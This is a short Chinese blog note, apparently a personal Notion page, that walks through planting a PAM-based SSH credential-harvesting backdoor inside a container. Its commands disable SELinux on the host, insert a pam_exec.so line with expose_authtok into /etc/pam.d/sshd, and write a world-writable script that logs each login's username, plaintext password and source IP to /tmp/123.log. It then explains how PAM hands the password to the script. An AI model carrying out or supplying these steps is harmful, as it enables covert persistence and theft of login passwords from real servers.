CD's second night

容器安全-ssh .so文件隐藏后门

type
status
date
slug
summary
tags
category
icon
password
1.宿主机临时关闭 selinux。 setenforce 0
 
下面操作都在容器中执行
2.touch /etc/pam.d/sshd awk 'BEGIN { print "auth optional pam_exec.so quiet expose_authtok /tmp/sshd.sh" } { print }' /etc/pam.d/sshd > /tmp/sshd.tmp && sudo mv /tmp/sshd.tmp /etc/pam.d/sshd
3. echo -e '#!/bin/sh\n\necho "$(date) $PAM_USER $(cat -) $PAM_RHOST $PAM_RUSER" >> /tmp/123.log' | sudo tee /tmp/sshd.sh > /dev/null
4.chmod 777 /tmp/sshd.sh 5.ssh -o StrictHostKeyChecking=no root@$HOSTNAME 6.cat /tmp/123.log
总:
 
 
效果如下 : /tmp/123.log里面会有相关ip和ssh账户和密码
notion image
 
原理如下:
执行流程
  • 当一个用户通过SSH尝试登录时,PAM会按照/etc/pam.d/sshd中的配置依次调用各个模块。
  • 由于pam_exec.so模块被配置在第一行,它会首先被调用,并执行/tmp/sshd.sh脚本。
  • pam_exec.so模块会将用户输入的密码通过标准输入传递给/tmp/sshd.sh脚本。
  • sshd.sh脚本读取标准输入中的密码,并将相关信息记录到/tmp/123.log文件中。
 
里面需要关注的就是
  • pam_exec.so模块如何将用户输入的密码通过标准输入传递给/tmp/sshd.sh脚本。
pam_exec.so模块的expose_authtok选项允许将用户的认证令牌(即密码)通过标准输入(stdin)传递给外部脚本。以下是详细步骤:
  • pam_exec.so模块从PAM框架中获取认证令牌(密码)。
  • 它将认证令牌通过标准输入传递给外部脚本。
除了通过标准输入传递密码外,pam_exec.so模块还会设置一些环境变量,这些变量包含当前认证会话的相关信息,如PAM_USERPAM_RHOSTPAM_RUSER等。外部脚本可以从环境变量中获取这些信息。
 
原理还是挺浅显的 后续也不用探究了
Loading...